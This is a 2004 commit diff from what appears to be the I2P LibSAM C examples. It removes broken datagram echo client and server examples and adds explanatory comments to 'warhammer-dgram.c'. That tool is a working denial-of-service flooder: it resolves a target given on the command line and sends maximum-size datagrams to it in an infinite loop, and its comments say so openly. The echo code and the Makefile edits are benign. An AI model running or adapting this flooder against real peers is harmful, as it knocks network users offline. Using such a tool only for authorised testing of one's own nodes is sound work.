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Removed broken examples and added some more comments to warhammer

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This commit is contained in:
mpc
2004-08-01 00:30:25 +00:00
committed by zzz
parent 393a04165e
commit 29b5a7c5c2
5 changed files with 58 additions and 272 deletions
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12
apps/sam/c/examples/Makefile
View File

@ -20,15 +20,7 @@ LIBS = -lsam
# Build rules # Build rules
# #
all: dgram-client dgram-server warhammer-dgram all: warhammer-dgram
dgram-client:
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
dgram-server:
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
warhammer-dgram: warhammer-dgram:
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c $(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
@ -39,4 +31,4 @@ warhammer-dgram:
# #
clean: clean:
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram -rm -f *.o *.exe warhammer-dgram

14
apps/sam/c/examples/Makefile.mingw
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@ -13,23 +13,15 @@ CC = C:\Dev-Cpp\bin\gcc
# #
CFLAGS = -g -O2 -pipe -std=c99 -Wall CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -I../inc -L../lib
CFLAGS += -DWINSOCK CFLAGS += -DWINSOCK
CFLAGS += -I../inc -L../lib
LIBS = -lsam -lwsock32 LIBS = -lsam -lwsock32
# #
# Build rules # Build rules
# #
all: dgram-client dgram-server warhammer-dgram all: warhammer-dgram
dgram-client:
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
dgram-server:
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
warhammer-dgram: warhammer-dgram:
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c $(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
@ -40,4 +32,4 @@ warhammer-dgram:
# #
clean: clean:
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram -rm -f *.o *.exe warhammer-dgram

130
apps/sam/c/examples/dgram-client.c
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@ -1,130 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sam.h"
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
static void diedback(void);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* This is an extremely simple echo client which shows you how LibSAM
* datagrams work. We lookup the name 'dgram-server' then send some data to
* him. If everything works, we should get the same data back.
*/
/*
* NOTE!!!!!!!! This is currently broken!
*/
int main(int argc, char* argv[])
{
samerr_t rc;
/* Hook up the callback functions */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/* Connect to the SAM server -- you can use either an IP or DNS name */
rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
exit(1);
}
/*
* This is equivalent to doing a DNS lookup on the normal internet. Note
* that the dgram-server must already be running for this to work.
* When the lookup completes, we send them some data (see namingback()).
*/
sam_naming_lookup("dgram-server");
/*
* Wait for something to happen, then invoke the appropriate callback
*/
while (true)
sam_read_buffer();
return 0;
}
/*
* When we receive some data, print it out to the screen
*/
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
{
printf("Datagram received: %s\n", (char *)data);
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(void)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* When a name is resolved, send data to that destination address
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
char *data = "Hello, invisible world!";
printf("I got %s's base 64 destination, so now I will send him some " \
"data...\n", name);
sam_dgram_send(pubkey, data, strlen(data));
/*
* ^^^ An extra NUL is appended to the data by LibSAM, so it is not
* necessary to send trailing NULs over the wire for strings. This doesn't
* cause problems with binary data, because the NUL isn't included in `size'
* in sam_dgramback().
* That is why we use strlen(data) instead of strlen(data) + 1.
*/
puts("Datagram sent");
}

108
apps/sam/c/examples/dgram-server.c
View File

@ -1,108 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <assert.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include "sam.h"
static void dgramback(sam_pubkey_t dest, void *data, size_t size);
static void diedback(void);
static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* This is an extremely simple echo server which shows you how LibSAM
* datagrams work. We echo back every datagram that is sent to us.
*/
int main(int argc, char* argv[])
{
samerr_t rc;
/* Hook up the callback functions */
sam_dgramback = &dgramback;
sam_diedback = &diedback;
sam_logback = &logback;
sam_namingback = &namingback;
/* Connect to the SAM server -- you can use either an IP or DNS name */
rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0);
if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
exit(1);
}
/*
* At this point we just keep polling the buffer, which causes the
* appropriate callbacks to be called whenever something happens
*/
while (true)
sam_read_buffer();
return 0;
}
/*
* When we receive some data, we just ECHO the exact same data back to them
*/
static void dgramback(sam_pubkey_t dest, void *data, size_t size)
{
puts("Echoing datagram");
sam_dgram_send(dest, data, size);
free(data);
}
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(void)
{
fprintf(stderr, "Lost SAM connection!\n");
exit(1);
}
/*
* The logging callback prints any logging messages from LibSAM
*/
static void logback(char *s)
{
fprintf(stderr, "LibSAM: %s\n", s);
}
/*
* Not used, but the function has to be in the program anyway
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{
assert(false); /* we don't do any naming lookups in this program */
}

66
apps/sam/c/examples/warhammer-dgram.c
View File

@ -40,7 +40,8 @@
#include "sam.h" #include "sam.h"
/* /*
* LibSAM callbacks * LibSAM callbacks - functions in our code that are called by LibSAM when
* something happens
*/ */
static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data, static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size); size_t size);
@ -48,31 +49,38 @@ static void diedback(sam_sess_t *session);
static void logback(char *s); static void logback(char *s);
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result); static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result);
/*
* Just some ugly global variables. Don't do this in your program.
*/
bool gotdest = false; bool gotdest = false;
sam_pubkey_t dest; sam_pubkey_t dest;
int main(int argc, char* argv[]) int main(int argc, char* argv[])
{ {
/*
* The target of our attack is specified on the command line
*/
if (argc != 2) { if (argc != 2) {
fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]); fprintf(stderr, "Syntax: %s <b64dest|name>\n", argv[0]);
return 1; return 1;
} }
/* Hook up the callback functions - required by LibSAM */
sam_dgramback = &dgramback; sam_dgramback = &dgramback;
sam_diedback = &diedback; sam_diedback = &diedback;
sam_logback = &logback; sam_logback = &logback;
sam_namingback = &namingback; sam_namingback = &namingback;
/* /*
* This tool would be more destructive if multiple session were used, but * This tool would be more destructive if multiple SAM session were used,
* they aren't - at least for now. * but they aren't - at least for now.
*/ */
sam_sess_t *session = NULL; sam_sess_t *session = NULL; /* set to NULL to have LibSAM do the malloc */
session = sam_session_init(session); session = sam_session_init(session); /* malloc and set defaults */
/* a tunnel length of 2 is the default - adjust to your preference */ /* Connect to the SAM server -- you can use either an IP or DNS name */
samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT", samerr_t rc = sam_connect(session, "localhost", 7656, "TRANSIENT",
SAM_DGRAM, 2); SAM_DGRAM, 2); /* the tunnel length of 2 can be adjusted to whatever */
if (rc != SAM_OK) { if (rc != SAM_OK) {
fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc)); fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc));
sam_session_free(&session); sam_session_free(&session);
@ -83,22 +91,31 @@ int main(int argc, char* argv[])
* Check whether they've supplied a name or a base 64 destination * Check whether they've supplied a name or a base 64 destination
* *
* Note that this is a hack. Jrandom says that once certificates are added, * Note that this is a hack. Jrandom says that once certificates are added,
* the length could be different depending on the certificate. * the length could be different depending on the certificate's size.
*/ */
if (strlen(argv[1]) == 516) { if (strlen(argv[1]) == 516) {
memcpy(dest, argv[1], SAM_PUBKEY_LEN); memcpy(dest, argv[1], SAM_PUBKEY_LEN);
gotdest = true; gotdest = true;
} } else {
else /*
* If they supplied a name, we have to do a lookup on it. This is
* equivalent to doing a DNS lookup on the normal internet. When the
* lookup completes, we send them some data.
*/
sam_naming_lookup(session, argv[1]); sam_naming_lookup(session, argv[1]);
}
while (!gotdest) while (!gotdest) /* just wait for the naming lookup to complete */
sam_read_buffer(session); sam_read_buffer(session);
char data[SAM_DGRAM_PAYLOAD_MAX]; char data[SAM_DGRAM_PAYLOAD_MAX];
memset(data, '#', SAM_DGRAM_PAYLOAD_MAX); memset(data, '$', SAM_DGRAM_PAYLOAD_MAX); /* We're sending them MONEY! */
size_t sentbytes = 0; size_t sentbytes = 0;
while (true) { while (true) {
/*
* Send them a flood of the largest sized datagrams possible in an
* infinite loop!
*/
rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX); rc = sam_dgram_send(session, dest, data, SAM_DGRAM_PAYLOAD_MAX);
if (rc != SAM_OK) { if (rc != SAM_OK) {
fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc)); fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc));
@ -107,13 +124,23 @@ int main(int argc, char* argv[])
} }
sentbytes += SAM_DGRAM_PAYLOAD_MAX; sentbytes += SAM_DGRAM_PAYLOAD_MAX;
printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024); printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024);
/*
* sam_read_buffer() just checks for incoming activity from the SAM
* session, and invokes the appropriate callbacks. We aren't really
* expecting any incoming activity here, but it is a good idea to check
* anyway.
*/
sam_read_buffer(session); sam_read_buffer(session);
} }
sam_session_free(&session); sam_session_free(&session); /* de-allocates memory used by the SAM session*/
return 0; return 0;
} }
/*
* When we receive some data from another peer, just ignore it. Denial of
* service programs don't need input ;)
*/
static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data, static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size) size_t size)
{ {
@ -121,21 +148,34 @@ static void dgramback(const sam_sess_t *session, sam_pubkey_t dest, void *data,
free(data); free(data);
} }
/*
* This is called whenever the SAM connection fails (like if the I2P router is
* shut down)
*/
static void diedback(sam_sess_t *session) static void diedback(sam_sess_t *session)
{ {
fprintf(stderr, "Lost SAM connection!\n"); fprintf(stderr, "Lost SAM connection!\n");
exit(1); exit(1);
} }
/*
* The logging callback prints any logging messages from LibSAM (typically
* errors)
*/
static void logback(char *s) static void logback(char *s)
{ {
fprintf(stderr, "LibSAM: %s\n", s); fprintf(stderr, "LibSAM: %s\n", s);
} }
/*
* This is really hackish, but we know that we are only doing one lookup, so
* what the hell
*/
static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result) static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result)
{ {
if (result != SAM_OK) { if (result != SAM_OK) {
fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result)); fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result));
/* high quality code would do a sam_session_free() here */
exit(1); exit(1);
} }
memcpy(dest, pubkey, SAM_PUBKEY_LEN); memcpy(dest, pubkey, SAM_PUBKEY_LEN);